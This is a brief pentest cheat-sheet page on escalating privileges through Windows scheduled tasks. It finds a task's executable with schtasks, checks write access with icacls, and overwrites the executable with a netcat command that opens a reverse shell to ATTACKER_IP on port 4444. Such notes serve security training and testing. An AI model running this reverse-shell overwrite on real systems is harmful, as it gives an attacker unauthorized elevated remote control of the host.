# Scheduled tasks

## List tasks

```powershell
schtasks
```

## Gather information about a task

We look for "Task to Run" executable.

```powershell
schtasks /query /tn <VULN TASK> /fo list /v
```

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2F0QqPNG37j47CBbZxdJcq%2Fimage.png?alt=media&#x26;token=27f008d4-cb69-4767-a956-46457b41ebd0" alt=""><figcaption></figcaption></figure>

## Check for file permissions

```powershell
icacls <TASK TO RUN>
```

If we have write permission on the executable, we can edit  it.

```powershell
echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > <TASK TO RUN>
```
